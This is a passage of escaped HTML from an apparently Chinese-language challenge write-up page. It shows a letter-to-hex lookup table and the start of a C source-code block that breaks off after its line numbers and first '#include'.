center\"\u003e字母\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003eHex\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e字母\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003eHex\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ea\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e61\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003en\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6E\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eb\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e62\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eo\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6F\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ec\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e63\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ep\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e70\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ed\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e64\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eq\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e71\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ee\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e65\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003er\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e72\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ef\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e66\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003es\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e73\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eg\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e67\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003et\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e74\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003eh\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e68\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003eu\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e75\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ei\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e69\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ev\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e76\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ej\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6A\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ew\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e77\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003ek\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6B\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ex\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e78\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003el\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6C\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ey\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e79\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003em\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e6D\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003ez\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e7a\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e  9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 67\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 68\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 69\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 70\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 71\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 72\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 73\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 74\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 75\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 76\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 77\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 78\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 79\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 80\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 81\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 82\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 83\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 84\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 85\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 86\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 87\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 88\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 89\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 90\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 91\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 92\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 93\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 94\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 95\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 96\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 97\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 98\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 99\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e100\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e101\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e102\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e103\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e104\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e105\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e106\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e107\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e108\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e109\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e110\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e111\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e112\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e113\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e114\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e115\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e116\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e117\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e118\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e119\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e120\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e121\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e122\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e123\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e124\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e125\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e126\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e127\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e128\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e129\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e130\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e131\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e132\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e133\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e134\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#include\u003c/span\u003e \u003cspan 